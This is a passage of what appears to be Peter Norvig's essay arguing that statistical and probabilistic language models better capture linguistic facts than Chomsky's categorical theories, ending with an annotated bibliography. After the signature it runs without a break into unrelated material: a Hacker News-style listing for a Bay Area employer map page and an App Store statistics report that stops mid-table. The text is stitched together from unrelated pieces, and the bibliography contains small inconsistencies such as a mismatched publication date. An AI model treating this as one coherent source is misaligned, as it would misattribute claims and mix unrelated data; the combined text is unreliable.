  • Question answering: this application is less well-developed, and many systems build heavily on the statistical and probabilistic approach used by search engines. The IBM Watson system that recently won on Jeopardy is thoroughly probabilistic and trained, while Boris Katz's START is a hybrid. All systems use at least some statistical techniques.

Now let's look at some components that are of interest only to the computational linguist, not to the end user:

  • Word sense disambiguation: 100% of top competitors at the SemEval-2 competition used statistical techniques; most are probabilistic; some use a hybrid approach incorporating rules from sources such as Wordnet.
  • Coreference resolution: The majority of current systems are statistical, although we should mention the system of Haghighi and Klein , which can be described as a hybrid system that is mostly rule-based rather than trained, and performs on par with top statistical systems.
  • Part of speech tagging: Most current systems are statistical. The Brill tagger stands out as a successful hybrid system: it learns a set of deterministic rules from statistical data.
  • Parsing: There are many parsing systems, using multiple approaches. Almost all of the most successful are statistical, and the majority are probabilistic (with a substantial minority of deterministic parsers).

Clearly, it is inaccurate to say that statistical models (and probabilistic models) have achieved limited success; rather they have achieved an overwhelmingly dominant (although not exclusive) position.

Another measure of success is the degree to which an idea captures a community of researchers. As Steve Abney wrote in 1996, "In the space of the last ten years, statistical methods have gone from being virtually unknown in computational linguistics to being a fundamental given. ... anyone who cannot at least use the terminology persuasively risks being mistaken for kitchen help at the ACL [Association for Computational Linguistics] banquet."

Now of course, the majority doesn't rule -- just because everyone is jumping on some bandwagon, that doesn't make it right. But I made the switch: after about 14 years of trying to get language models to work using logical rules, I started to adopt probabilistic approaches (thanks to pioneers like Gene Charniak (and Judea Pearl for probability in general) and to my colleagues who were early adopters, like Dekai Wu). And I saw everyone around me making the same switch. And I didn't see anyone going in the other direction. We all saw the limitations of the old tools, and the benefits of the new.

And while it may seem crass and anti-intellectual to consider a financial measure of success, I note that the intellectual offspring of Shannon's theory create several trillion dollars of revenue each year, while the offspring of Chomsky's theories generate well under a billion.

This section has shown that one reason why the vast majority of researchers in computational linguistics use statistical models is an engineering reason: statistical models have state-of-the-art performance, and in most cases non-statistical models perform worst. For the remainder of this essay we will concentrate on scientific reasons: that probabilistic models better represent linguistic facts, and statistical techniques make it easier for us to make sense of those facts.

Is there anything like it [the statistical notion of success] in the history of science?

When Chomsky said " That's a notion of [scientific] success that's very novel. I don't know of anything like it in the history of science " he apparently meant that the notion of success of "accurately modeling the world" is novel, and that the only true measure of success in the history of science is "providing insight" — of answering why things are the way they are, not just describing how they are.

A dictionary definition of science is "the systematic study of the structure and behavior of the physical and natural world through observation and experiment," which stresses accurate modeling over insight, but it seems to me that both notions have always coexisted as part of doing science. To test that, I consulted the epitome of doing science, namely Science . I looked at the current issue and chose a title and abstract at random:

Chlorinated Indium Tin Oxide Electrodes with High Work Function for Organic Device Compatibility

In organic light-emitting diodes (OLEDs), a stack of multiple organic layers facilitates charge flow from the low work function [~4.7 electron volts (eV)] of the transparent electrode (tin-doped indium oxide, ITO) to the deep energy levels (~6 eV) of the active light-emitting organic materials. We demonstrate a chlorinated ITO transparent electrode with a work function of >6.1 eV that provides a direct match to the energy levels of the active light-emitting materials in state-of-the art OLEDs. A highly simplified green OLED with a maximum external quantum efficiency (EQE) of 54% and power efficiency of 230 lumens per watt using outcoupling enhancement was demonstrated, as were EQE of 50% and power efficiency of 110 lumens per watt at 10,000 candelas per square meter.

It certainly seems that this article is much more focused on "accurately modeling the world" than on "providing insight." The paper does indeed fit in to a body of theories, but it is mostly reporting on specific experiments and the results obtained from them (e.g. efficiency of 54%).

I then looked at all the titles and abstracts from the current issue of Science :

  • Comparative Functional Genomics of the Fission Yeasts
  • Dimensionality Control of Electronic Phase Transitions in Nickel-Oxide Superlattices
  • Competition of Superconducting Phenomena and Kondo Screening at the Nanoscale
  • Chlorinated Indium Tin Oxide Electrodes with High Work Function for Organic Device Compatibility
  • Probing Asthenospheric Density, Temperature, and Elastic Moduli Below the Western United States
  • Impact of Polar Ozone Depletion on Subtropical Precipitation
  • Fossil Evidence on Origin of the Mammalian Brain
  • Industrial Melanism in British Peppered Moths Has a Singular and Recent Mutational Origin
  • The Selaginella Genome Identifies Genetic Changes Associated with the Evolution of Vascular Plants
  • Chromatin "Prepattern" and Histone Modifiers in a Fate Choice for Liver and Pancreas
  • Spatial Coupling of mTOR and Autophagy Augments Secretory Phenotypes
  • Diet Drives Convergence in Gut Microbiome Functions Across Mammalian Phylogeny and Within Humans
  • The Toll-Like Receptor 2 Pathway Establishes Colonization by a Commensal of the Human Microbiota
  • A Packing Mechanism for Nucleosome Organization Reconstituted Across a Eukaryotic Genome
  • Structures of the Bacterial Ribosome in Classical and Hybrid States of tRNA Binding
and did the same for the current issue of Cell :
  • Mapping the NPHP-JBTS-MKS Protein Network Reveals Ciliopathy Disease Genes and Pathways
  • Double-Strand Break Repair-Independent Role for BRCA2 in Blocking Stalled Replication Fork Degradation by MRE11
  • Establishment and Maintenance of Alternative Chromatin States at a Multicopy Gene Locus
  • An Epigenetic Signature for Monoallelic Olfactory Receptor Expression
  • Distinct p53 Transcriptional Programs Dictate Acute DNA-Damage Responses and Tumor Suppression
  • An ADIOL-ERβ-CtBP Transrepression Pathway Negatively Regulates Microglia-Mediated Inflammation
  • A Hormone-Dependent Module Regulating Energy Balance
  • Class IIa Histone Deacetylases Are Hormone-Activated Regulators of FOXO and Mammalian Glucose Homeostasis
and for the 2010 Nobel Prizes in science:
  • Physics: for groundbreaking experiments regarding the two-dimensional material graphene
  • Chemistry: for palladium-catalyzed cross couplings in organic synthesis
  • Physiology or Medicine: for the development of in vitro fertilization
My conclusion is that 100% of these articles and awards are more about "accurately modeling the world" than they are about "providing insight," although they all have some theoretical insight component as well. I recognize that judging one way or the other is a difficult ill-defined task, and that you shouldn't automatically accept my judgements, because I may have an inherent bias. (I was considering running an experiment on Mechanical Turk to get an unbiased answer, but those familiar with Mechanical Turk told me these questions are probably too hard for the average Turker. So you the reader can do your own experiment and see if you agree.)

What doesn't Chomsky like about statistical models?

I said that statistical models are sometimes confused with probabilistic models; let's first consider the extent to which Chomsky's objections are actually about probabilistic models. In 1969 he famously wrote :

But it must be recognized that the notion of "probability of a sentence" is an entirely useless one, under any known interpretation of this term.

His main argument being that, under any interpretation known to him, the probability of a novel sentence must be zero, and since novel sentences are in fact generated all the time, there is a contradiction. The resolution of this contradiction is of course that it is not necessary to assign a probability of zero to a novel sentence; in fact, with current probabilistic models it is standard practice to do smoothing and assign a non-zero probability to novel occurrences. So this criticism is invalid, but was very influential for decades. Previously, in Syntactic Structures (1957) Chomsky wrote:

I think we are forced to conclude that ... probabilistic models give no particular insight into some of the basic problems of syntactic structure.
In the footnote to this conclusion he considers the possibility of a useful probabilistic/statistical model, saying "I would certainly not care to argue that ... is unthinkable, but I know of no suggestion to this effect that does not have obvious flaws." The main "obvious flaw" is this: Consider:
  1. I never, ever, ever, ever, ... fiddle around in any way with electrical equipment.
  2. She never, ever, ever, ever, ... fiddles around in any way with electrical equipment.
  3. * I never, ever, ever, ever, ... fiddles around in any way with electrical equipment.
  4. * She never, ever, ever, ever, ... fiddle around in any way with electrical equipment.
No matter how many repetitions of "ever" you insert, sentences 1 and 2 are grammatical and 3 and 4 are ungrammatical. A probabilistic Markov-chain model with n states can never make the necessary distinction (between 1 or 2 versus 3 or 4) when there are more than n copies of "ever." Therefore, a probabilistic Markov-chain model cannot handle all of English.

This criticism is correct, but it is a criticism only of Markov-chain models, not of probabilistic models (or trained models) in general. Since 1957 we have seen many types of probabilistic language models beyond the Markov-chain word models. Examples 1-4 above can in fact be distinguished with a finite-state model that is not a chain, but other examples require more sophisticated models. The best studied is probabilistic context-free grammar (PCFG), which operates over trees, categories of words, and individual lexical items, and has none of the restrictions of finite-state models. We find that PCFGs are state-of-the-art for parsing performance and are easier to learn from data than nonprobabilistic categorical context-free grammars. Other types of probabilistic models cover semantic and discourse structures.

Every probabilistic model is a superset of a deterministic model (because the deterministic model could be seen as a probabilistic model where the probabilities are restricted to be 0 or 1), so any valid criticism of probabilistic models would have to be because they are too expressive, not because they are not expressive enough.

In Syntactic Structures , Chomsky introduces a now-famous example that is another criticism of finite-state probabilistic models:

Neither (a) 'colorless green ideas sleep furiously' nor (b) 'furiously sleep ideas green colorless', nor any of their parts, has ever occurred in the past linguistic experience of an English speaker. But (a) is grammatical, while (b) is not.
Chomsky appears to be correct that neither sentence appeared in the published literature before 1955. I'm not sure what he meant by "any of their parts," but certainly every two-word part had occurred, for example:

But regardless of what is meant by "part," a statistically-trained finite-state model can in fact distinguish between these two sentences. Pereira (2001) showed that such a model, augmented with word categories and trained by expectation maximization on newspaper text, computes that (a) is 200,000 times more probable than (b). To prove that this was not the result of Chomsky's sentence itself sneaking into newspaper text, I repeated the experiment, using a much cruder model with Laplacian smoothing and no categories, trained over the Google Book corpus from 1800 to 1954, and found that (a) is about 10,000 times more probable.

Furthermore, the statistical models are capable of delivering the judgment that both sentences are extremely improbable, when compared to, say, "Effective green products sell well." Chomsky's theory, being categorical, cannot make this distinction; all it can distinguish is grammatical/ungrammatical.

Another part of Chomsky's objection is "we cannot seriously propose that a child learns the values of 10 9 parameters in a childhood lasting only 10 8 seconds." (Note that modern models are much larger than the 10 9 parameters that were contemplated in the 1960s.) But of course nobody is proposing that these parameters are learned one-by-one; the right way to do learning is to set large swaths of near-zero parameters simultaneously with a smoothing or regularization procedure, and update the high-probability parameters continuously as observations comes in. Nobody is suggesting that Markov models by themselves are a serious model of human language performance. But I (and others) suggest that probabilistic, trained models are a better model of human language performance than are categorical, untrained models. And yes, it seems clear that an adult speaker of English does know billions of language facts (a speaker knows many facts about the appropriate uses of words in different contexts, such as that one says "the big game" rather than "the large game" when talking about an important football game). These facts must somehow be encoded in the brain.

It seems clear that probabilistic models are better for judging the likelihood of a sentence, or its degree of sensibility. But even if you are not interested in these factors and are only interested in the grammaticality of sentences, it still seems that probabilistic models do a better job at describing the linguistic facts. The mathematical theory of formal languages defines a language as a set of sentences. That is, every sentence is either grammatical or ungrammatical; there is no need for probability in this framework. But natural languages are not like that. A scientific theory of natural languages must account for the many phrases and sentences which leave a native speaker uncertain about their grammaticality (see Chris Manning's article and its discussion of the phrase " as least as "), and there are phrases which some speakers find perfectly grammatical, others perfectly ungrammatical, and still others will flip-flop from one occasion to the next. Finally, there are usages which are rare in a language, but cannot be dismissed if one is concerned with actual data. For example, the verb quake is listed as intransitive in dictionaries, meaning that (1) below is grammatical, and (2) is not, according to a categorical theory of grammar.

  1. The earth quaked.
  2. ? It quaked her bowels.
But (2) actually appears as a sentence of English. This poses a dilemma for the categorical theory. When (2) is observed we must either arbitrarily dismiss it as an error that is outside the bounds of our model (without any theoretical grounds for doing so), or we must change the theory to allow (2), which often results in the acceptance of a flood of sentences that we would prefer to remain ungrammatical. As Edward Sapir said in 1921, "All grammars leak." But in a probabilistic model there is no difficulty; we can say that quake has a high probability of being used intransitively, and a low probability of transitive use (and we can, if we care, further describe those uses through subcategorization).

Steve Abney points out that probabilistic models are better suited for modeling language change. He cites the example of a 15th century Englishman who goes to the pub every day and orders "Ale!" Under a categorical model, you could reasonably expect that one day he would be served eel, because the great vowel shift flipped a Boolean parameter in his mind a day before it flipped the parameter in the publican's. In a probabilistic framework, there will be multiple parameters, perhaps with continuous values, and it is easy to see how the shift can take place gradually over two centuries.

Thus it seems that grammaticality is not a categorical, deterministic judgment but rather an inherently probabilistic one. This becomes clear to anyone who spends time making observations of a corpus of actual sentences, but can remain unknown to those who think that the object of study is their own set of intuitions about grammaticality. Both observation and intuition have been used in the history of science, so neither is "novel," but it is observation, not intuition that is the dominant model for science.

Now let's consider what I think is Chomsky's main point of disagreement with statistical models: the tension between "accurate description" and "insight." This is an old distinction. Charles Darwin (biologist, 1809–1882) is best known for his insightful theories but he stressed the importance of accurate description, saying "False facts are highly injurious to the progress of science, for they often endure long; but false views, if supported by some evidence, do little harm, for every one takes a salutary pleasure in proving their falseness." More recently, Richard Feynman (physicist, 1918–1988) wrote "Physics can progress without the proofs, but we can't go on without the facts."


Butterflies

On the other side, Ernest Rutherford (physicist, 1871–1937) disdained mere description, saying "All science is either physics or stamp collecting." Chomsky stands with him: "You can also collect butterflies and make many observations. If you like butterflies, that's fine; but such work must not be confounded with research, which is concerned to discover explanatory principles."

Acknowledging both sides is Robert Millikan (physicist, 1868–1953) who said in his Nobel acceptance speech "Science walks forward on two feet, namely theory and experiment ... Sometimes it is one foot that is put forward first, sometimes the other, but continuous progress is only made by the use of both."

The two cultures


Leo Breiman

After all those distinguished scientists have weighed in, I think the most relevant contribution to the current discussion is the 2001 paper by Leo Breiman (statistician, 1928–2005), Statistical Modeling: The Two Cultures . In this paper Breiman, alluding to C. P. Snow, describes two cultures:

First the data modeling culture (to which, Breiman estimates, 98% of statisticians subscribe) holds that nature can be described as a black box that has a relatively simple underlying model which maps from input variables to output variables (with perhaps some random noise thrown in). It is the job of the statistician to wisely choose an underlying model that reflects the reality of nature, and then use statistical data to estimate the parameters of the model.

Second the algorithmic modeling culture (subscribed to by 2% of statisticians and many researchers in biology, artificial intelligence, and other fields that deal with complex phenomena), which holds that nature's black box cannot necessarily be described by a simple model. Complex algorithmic approaches (such as support vector machines or boosted decision trees or deep belief networks) are used to estimate the function that maps from input to output variables, but we have no expectation that the form of the function that emerges from this complex algorithm reflects the true underlying nature.

It seems that the algorithmic modeling culture is what Chomsky is objecting to most vigorously. It is not just that the models are statistical (or probabilistic), it is that they produce a form that, while accurately modeling reality, is not easily interpretable by humans, and makes no claim to correspond to the generative process used by nature. In other words, algorithmic modeling describes what does happen, but it doesn't answer the question of why .

Breiman's article explains his objections to the first culture, data modeling. Basically, the conclusions made by data modeling are about the model, not about nature. (Aside: I remember in 2000 hearing James Martin , the leader of the Viking missions to Mars, saying that his job as a spacecraft engineer was not to land on Mars, but to land on the model of Mars provided by the geologists.) The problem is, if the model does not emulate nature well, then the conclusions may be wrong. For example, linear regression is one of the most powerful tools in the statistician's toolbox. Therefore, many analyses start out with "Assume the data are generated by a linear model..." and lack sufficient analysis of what happens if the data are not in fact generated that way. In addition, for complex problems there are usually many alternative good models, each with very similar measures of goodness of fit. How is the data modeler to choose between them? Something has to give. Breiman is inviting us to give up on the idea that we can uniquely model the true underlying form of nature's function from inputs to outputs. Instead he asks us to be satisfied with a function that accounts for the observed data well, and generalizes to new, previously unseen data well, but may be expressed in a complex mathematical form that may bear no relation to the "true" function's form (if such a true function even exists). Chomsky takes the opposite approach: he prefers to keep a simple, elegant model, and give up on the idea that the model will represent the data well. Instead, he declares that what he calls performance data—what people actually do—is off limits to linguistics; what really matters is competence —what he imagines that they should do.


Bill O'Reilly

Laplace

In January of 2011, television personality Bill O'Reilly weighed in on more than one culture war with his statement " tide goes in, tide goes out. Never a miscommunication. You can't explain that ," which he proposed as an argument for the existence of God. O'Reilly was ridiculed by his detractors for not knowing that tides can be readily and concisely explained by a system of partial differential equations describing the gravitational interaction of sun, earth, and moon (a fact that was first worked out by Laplace in 1776 and has been considerably refined since; when asked by Napoleon why the creator did not enter into his calculations, Laplace said "I had no need of that hypothesis."). (O'Reilly also seems not to know about Deimos and Phobos (two of my favorite moons in the entire solar system, along with Europa, Io, and Titan), nor that Mars and Venus orbit the sun, nor that the reason Venus has no moons is because it is so close to the sun that there is scant room for a stable lunar orbit.)

But O'Reilly realizes that it doesn't matter what his detractors think of his astronomical ignorance, because his supporters think he has gotten exactly to the key issue: why? He doesn't care how the tides work, tell him why they work. Why is the moon at the right distance to provide a gentle tide, and exert a stabilizing effect on earth's axis of rotation, thus protecting life here? Why does gravity work the way it does? Why does anything at all exist rather than not exist? O'Reilly is correct that these why questions can only be addressed by mythmaking, religion or philosophy, not by science.

Chomsky has a philosophy based on the idea that we should focus on the deep whys and that mere explanations of reality don't matter. In this, Chomsky is in complete agreement with O'Reilly. (I recognize that the previous sentence would have an extremely low probability in a probabilistic model trained on a newspaper or TV corpus.) Chomsky believes a theory of language should be simple and understandable, like a linear regression model where we know the underlying process is a straight line, and all we have to do is estimate the slope and intercept.

For example, consider the notion of a pro-drop language from Chomsky's Lectures on Government and Binding (1981). In English we say, for example, "I'm hungry," expressing the pronoun "I". But in Spanish, one expresses the same thought with "Tengo hambre" (literally "have hunger"), dropping the pronoun "Yo". Chomsky's theory is that there is a "pro-drop parameter" which is "true" in Spanish and "false" in English, and that once we discover the small set of parameters that describe all languages, and the values of those parameters for each language, we will have achieved true understanding.


Dana Carvey

The problem is that reality is messier than this theory. Here are some dropped pronouns in English:

Linguists can argue over the interpretation of these facts for hours on end, but the diversity of language seems to be much more complex than a single Boolean value for a pro-drop parameter. We shouldn't accept a theoretical framework that places a priority on making the model simple over making it accurately reflect reality.

From the beginning, Chomsky has focused on the generative side of language. From this side, it is reasonable to tell a non-probabilistic story: I know definitively the idea I want to express—I'm starting from a single semantic form—thus all I have to do is choose the words to say it; why can't that be a deterministic, categorical process? If Chomsky had focused on the other side, interpretation , as Claude Shannon did, he may have changed his tune. In interpretation (such as speech recognition) the listener receives a noisy, ambiguous signal and needs to decide which of many possible intended messages is most likely. Thus, it is obvious that this is inherently a probabilistic problem, as was recognized early on by all researchers in speech recognition, and by scientists in other fields that do interpretation: the astronomer Laplace said in 1819 "Probability theory is nothing more than common sense reduced to calculation," and the physicist James Maxwell said in 1850 "The true logic for this world is the calculus of Probabilities, which takes account of the magnitude of the probability which is, or ought to be, in a reasonable man's mind."

Finally, one more reason why Chomsky dislikes statistical models is that they tend to make linguistics an empirical science (a science about how people actually use language) rather than a mathematical science (an investigation of the mathematical properties of models of formal language, not of language itself). Chomsky prefers the later, as evidenced by his statement in Aspects of the Theory of Syntax (1965):

Linguistic theory is mentalistic, since it is concerned with discovering a mental reality underlying actual behavior. Observed use of language ... may provide evidence ... but surely cannot constitute the subject-matter of linguistics, if this is to be a serious discipline.
I can't imagine Laplace saying that observations of the planets cannot constitute the subject-matter of orbital mechanics, or Maxwell saying that observations of electrical charge cannot constitute the subject-matter of electromagnetism. It is true that physics considers idealizations that are abstractions from the messy real world. For example, a class of mechanics problems ignores friction. But that doesn't mean that friction is not considered part of the subject-matter of physics.


Plato's cave

So how could Chomsky say that observations of language cannot be the subject-matter of linguistics? It seems to come from his viewpoint as a Platonist and a Rationalist and perhaps a bit of a Mystic . As in Plato's allegory of the cave , Chomsky thinks we should focus on the ideal, abstract forms that underlie language, not on the superficial manifestations of language that happen to be perceivable in the real world. That is why he is not interested in language performance. But Chomsky, like Plato, has to answer where these ideal forms come from. Chomsky (1991) shows that he is happy with a Mystical answer, although he shifts vocabulary from "soul" to "biological endowment."
Plato's answer was that the knowledge is 'remembered' from an earlier existence. The answer calls for a mechanism: perhaps the immortal soul ... rephrasing Plato's answer in terms more congenial to us today, we will say that the basic properties of cognitive systems are innate to the mind, part of human biological endowment.


Lascaux Horse

It was reasonable for Plato to think that the ideal of, say, a horse, was more important than any individual horse we can perceive in the world. In 400BC, species were thought to be eternal and unchanging. We now know that is not true; that the horses on another cave wall—in Lascaux—are now extinct, and that current horses continue to evolve slowly over time. Thus there is no such thing as a single ideal eternal "horse" form.

We also now know that language is like that as well: languages are complex, random, contingent biological processes that are subject to the whims of evolution and cultural change. What constitutes a language is not an eternal ideal form, represented by the settings of a small number of parameters, but rather is the contingent outcome of complex processes. Since they are contingent, it seems they can only be analyzed with probabilistic models. Since people have to continually understand the uncertain, ambiguous, noisy speech of others, it seems they must be using something like probabilistic reasoning. Chomsky for some reason wants to avoid this, and therefore he must declare the actual facts of language use out of bounds and declare that true linguistics only exists in the mathematical realm, where he can impose the formalism he wants. Then, to get language from this abstract, eternal, mathematical realm into the heads of people, he must fabricate a mystical facility that is exactly tuned to the eternal realm. This may be very interesting from a mathematical point of view, but it misses the point about what language is, and how it works.

Thanks

Thanks to Ann Farmer, Fernando Pereira, Dan Jurafsky, Hal Varian, and others for comments and suggestions on this essay.

Annotated Bibliography

  1. Abney, Steve (1996) Statistical Methods and Linguistics , in Klavans and Resnik (eds.) The Balancing Act: Combining Symbolic and Statistical Approaches to Language , MIT Press.
    An excellent overall introduction to the statistical approach to language processing, and covers some ground that is not addressed often, such as language change and individual differences.
  2. Breiman, Leo (2001) Statistical Modeling: The Two Cultures , Statistical Science , Vol. 16, No. 3, 199-231.
    Breiman does a great job of describing the two approaches, explaining the benefits of his approach, and defending his points in the vary interesting commentary with eminent statisticians: Cox, Efron, Hoadley, and Parzen.
  3. Chomsky, Noam (1956) Three Models for the Description of Language , IRE Transactions on Information theory (2), pp. 113-124.
    Compares finite state, phrase structure, and transformational grammars. Introduces "colorless green ideas sleep furiously."
  4. Chomsky, Noam (1967) Syntactic Structures , Mouton.
    A book-length exposition of Chomsky's theory that was the leading exposition of linguistics for a decade. Claims that probabilistic models give no insight into syntax.
  5. Chomsky, Noam (1969) Some Empirical Assumptions in Modern Philosophy of Language , in Philosophy, Science and Method: Essays in Honor or Ernest Nagel , St. Martin's Press.
    Claims that the notion "probability of a sentence" is an entirely useless notion.
  6. Chomsky, Noam (1981) Lectures on government and binding , de Gruyer.
    A revision of Chomsky's theory; this version introduces Universal Grammar. We cite it for the coverage of parameters such as pro-drop.
  7. Chomsky, Noam (1991) Linguistics and adjacent fields: a personal view , in Kasher (ed.), A Chomskyan Turn , Oxford.
    I found the Plato quotes in this article, published by the Communist Party of Great Britain, and apparently published by someone with no linguistics training whatsoever, but with a political agenda.
  8. Gold, E. M. (1967) Language Identification in the Limit , Information and Control , Vol. 10, No. 5, pp. 447-474.
    Gold proved a result in formal language theory that we can state (with some artistic license) as this: imagine a game between two players, guesser and chooser. Chooser says to guesser, "Here is an infinite number of languages. I'm going to choose one of them, and start reading sentences to you that come from that language. On your N-th birthday there will be a True-False quiz where I give you 100 sentences you haven't heard yet, and you have to say whether they come from the language or not." There are some limits on what the infinite set looks like and on how the chooser can pick sentences (he can be deliberately tricky, but he can't just repeat the same sentence over and over, for example). Gold's result is that if the infinite set of languages are all generated by context-free grammars then there is no strategy for guesser that guarantees she gets 100% correct every time, no matter what N you choose for the birthday. This result was taken by Chomsky and others to mean that it is impossible for children to learn human languages without having an innate "language organ." As Johnson (2004) and others show, this was an invalid conclusion; the task of getting 100% on the quiz (which Gold called language identification ) really has nothing in common with the task of language acquisition performed by children, so Gold's Theorem has no relevance.
  9. Horning, J. J. (1969) A study of grammatical inference , Ph.D. thesis, Stanford Univ.
    Where Gold found a negative result—that context-free languages were not identifiable from examples, Horning found a positive result—that probabilistic context-free languages are identifiable (to within an arbitrarily small level of error). Nobody doubts that humans have unique innate capabilities for understanding language (although it is unknown to what extent these capabilities are specific to language and to what extent they are general cognitive abilities related to sequencing and forming abstractions). But Horning proved in 1969 that Gold cannot be used as a convincing argument for an innate language organ that specifies all of language except for the setting of a few parameters.
  10. Johnson, Kent (2004) Gold's Theorem and cognitive science , Philosophy of Science , Vol. 71, pp. 571-592.
    The best article I've seen on what Gold's Theorem actually says and what has been claimed about it (correctly and incorrectly). Concludes that Gold has something to say about formal languages, but nothing about child language acquisition.
  11. Lappin, Shalom and Shieber, Stuart M. (2007) Machine learning theory and practice as a source of insight into universal grammar. , Journal of Linguistics , Vol. 43, No. 2, pp. 393-427.
    An excellent article discussing the poverty of the stimulus, the fact that all models have bias, the difference between supervised and unsupervised learning, and modern (PAC or VC) learning theory. It provides alternatives to the model of Universal Grammar consisting of a fixed set of binary parameters.
  12. Manning, Christopher (2002) Probabilistic Syntax , in Bod, Hay, and Jannedy (eds.), Probabilistic Linguistics , MIT Press.
    A compelling introduction to probabilistic syntax, and how it is a better model for linguistic facts than categorical syntax. Covers "the joys and perils of corpus linguistics."
  13. Norvig, Peter (2007) How to Write a Spelling Corrector , unpublished web page.
    Shows working code to implement a probabilistic, statistical spelling correction algorithm.
  14. Norvig, Peter (2009) Natural Language Corpus Data , in Seagran and Hammerbacher (eds.), Beautiful Data , O'Reilly.
    Expands on the essay above; shows how to implement three tasks: text segmentation, cryptographic decoding, and spelling correction (in a slightly more complete form than the previous essay).
  15. Pereira, Fernando (2002) Formal grammar and information theory: together again? , in Nevin and Johnson (eds.), The Legacy of Zellig Harris , Benjamins.
    When I set out to write the page you are reading now, I was concentrating on the events that took place in Cambridge, Mass., 4800 km from home. After doing some research I was surprised to learn that the authors of two of the three best articles on this subject sit within a total of 10 meters from my desk: Fernando Pereira and Chris Manning. (The third, Steve Abney, sits 3700 km away.) But perhaps I shouldn't have been surprised. I remember giving a talk at ACL on the corpus-based language models used at Google, and having Fernando, then a professor at U. Penn., comment "I feel like I'm a particle physicist and you've got the only super-collider." A few years later he moved to Google. Fernando is also famous for his quote "The older I get, the further down the Chomsky Hierarchy I go." His article here covers some of the same ground as mine, but he goes farther in explaining the range of probabilistic models available and how they are useful.
  16. Plato (c. 380BC) The Republic .
    Cited here for the allegory of the cave.
  17. Shannon, C.E. (1948) A Mathematical Theory of Communication , The Bell System Technical Journal , Vol. 27, pp. 379-423.
    An enormously influential article that started the field of information theory and introduced the term "bit" and the noisy channel model, demonstrated successive n-gram approximations of English, described Markov models of language, defined entropy with respect to these models, and enabled the growth of the telecommunications industry.

Peter Norvig

Living Maps: Bay Area tech since 1960s

Hacker News
tomorrowasusual.com
2026-11-06 03:08:19
Comments...
Original Article

Bay Area · 1960–2026

Living Maps: Bay Area tech since the 1960s

A historical record of Bay Area workplaces for employers with more than 1,000 employees worldwide in at least one documented year. This is the company’s total workforce, not staff at each location.
By T. Udell · Research updated November 5, 2026

1970

Locations & employer presence · 1970

1.0×

Bay Area technology employers Drag to pan, including at the initial zoom. With the map focused, use arrow keys to pan, plus and minus to zoom, and Home to reset. Labeled bubbles represent documented locations or city-level employer presence; hollow bubbles indicate city-level presence. Use the company buttons below for sources. Approximate overlapping locations are separated with lines to their reference positions.

Loading locations… Modern geography · US Census 2024 · Drag to pan

Marker color / type HQ Headquarters BR Branch OF Office RD Research / development MF Manufacturing ? Type not established

City presence Estimated presence Last-known, unverified

Company directory
About the bubbles and this research sample

Who is included: employers with more than 1,000 worldwide employees in at least one sourced year and a documented Bay Area workplace. All records includes unresolved and outside-tech cases; use the scope and industry filters to narrow the sample.

Reading the map: bubbles show workplaces or approximate city presence, not employee totals. Hollow bubbles are city-level records; cluster numbers count distinct employers. Click a bubble for dated evidence and sources. The dashed rectangle marks the study extent, not complete coverage.

Gaps are not closures: supported presence intervals remain visible; short carry-forwards are labeled estimated. Older observations appear only with “Show last-known locations,” and remain unverified. Confirmed closures or departures suppress the affected locations. All recorded years combines observations from different dates.

Navigation: drag to pan; use +/− or Ctrl+scroll to zoom. Keyboard: arrows, +/− and Home. The timeline advances in five-year steps; Latest shows 2026. Roads and boundaries are US Census 2024 geography , not historical reconstructions. City positions remain approximate at every zoom.

App Store 2026 in numbers: AI, pricing, abandoned apps

Hacker News
obelisk.club
2026-11-06 02:59:19
Comments...
Original Article

Research · Data as of November 6, 2026

We looked at 178,637 apps that appeared in the App Store top charts of 173 countries and regions since October 9, 2026. Here are the answers to five questions.

Key findings

  1. About 1 in 10 apps in the charts mention AI in their store listing (9.8%); in Graphics & Design it is 43%.
  2. Apps that sell in-app purchases or subscriptions are 3 times as likely to mention AI as plain free apps (19.9% vs 6.6%).
  3. 26.7% of free-to-download apps sell in-app purchases or subscriptions; most in Graphics & Design (60.2%), fewest in Shopping (11.5%).
  4. 20.3% of apps in the charts have not been updated for a year or more; 9.8% for over three years.
  5. In 1-2 star reviews the most common complaint is subscription & price (12.7%), ahead of bugs & broken features (10.9%) and login & account (10%).

Download all figures (CSV)

1. How many apps talk about AI

17,456 apps (9.8%) mention AI, GPT, machine learning, generative or chatbot in their name or the start of their description. They cluster in Graphics & Design, Photo & Video and Developer Tools. Ratings barely differ: among apps with at least 50 ratings, those mentioning AI average 4.49 stars and the rest 4.4.

1. How many apps talk about AI
Download chart (SVG)
Show the numbers
Category Apps Share
Graphics & Design 2,644 43.0 %
Photo & Video 5,073 23.4 %
Developer Tools 2,183 22.1 %
Productivity 7,671 16.9 %
Health & Fitness 9,695 15.2 %
Education 15,799 12.9 %
Reference 5,867 11.9 %
Lifestyle 8,676 11.1 %
Music 4,399 10.8 %
Entertainment 7,167 9.1 %
Social Networking 4,332 9.0 %
Sports 8,704 8.8 %
Utilities 7,795 8.6 %
Finance 11,266 7.7 %
Business 9,899 7.5 %
Medical 7,034 7.3 %
Books 5,626 6.6 %
News 6,979 6.1 %
Weather 2,942 5.2 %
Food & Drink 9,202 4.6 %
Games 7,325 4.5 %
Shopping 7,234 3.2 %
Travel 6,682 3.2 %
Navigation 5,400 2.6 %
1. How many apps talk about AI
Download chart (SVG)

2. How free apps make money

Of 164,056 free-to-download apps, 26.7% say in their description that they offer in-app purchases, a subscription, a trial or a Pro unlock. Graphics & Design and Photo & Video lead; Shopping and News come last; many of those are apps of businesses that most likely earn their money outside the app.

2. How free apps make money
Download chart (SVG)
Show the numbers
Category Apps Share
Graphics & Design 2,583 60.2 %
Photo & Video 3,462 56.1 %
Games 5,425 44.0 %
Music 4,118 40.5 %
Productivity 5,542 40.1 %
Health & Fitness 8,227 39.8 %
Developer Tools 2,129 34.3 %
Entertainment 5,840 33.2 %
Utilities 7,253 33.1 %
Social Networking 4,074 31.3 %
Weather 2,903 31.1 %
Reference 5,790 29.6 %
Lifestyle 8,401 29.4 %
Education 12,669 27.2 %
Sports 8,550 26.5 %
Navigation 5,323 24.5 %
Finance 10,465 23.4 %
Books 5,573 21.2 %
Medical 6,979 18.0 %
Travel 6,612 16.4 %
Business 9,795 16.2 %
Food & Drink 9,148 13.8 %
News 6,950 13.5 %
Shopping 7,223 11.5 %

3. How much of the charts independent developers hold

By our definition (see the notes below), 67.3% of apps in the charts come from independent developers. Their ratings match the larger publishers': 4.41 against 4.41 stars for apps with at least 50 ratings. The share is highest in Developer Tools, Sports and Navigation and lowest in Games.

3. How much of the charts independent developers hold
Download chart (SVG)
Show the numbers
Category Apps Share
Developer Tools 2,183 76.5 %
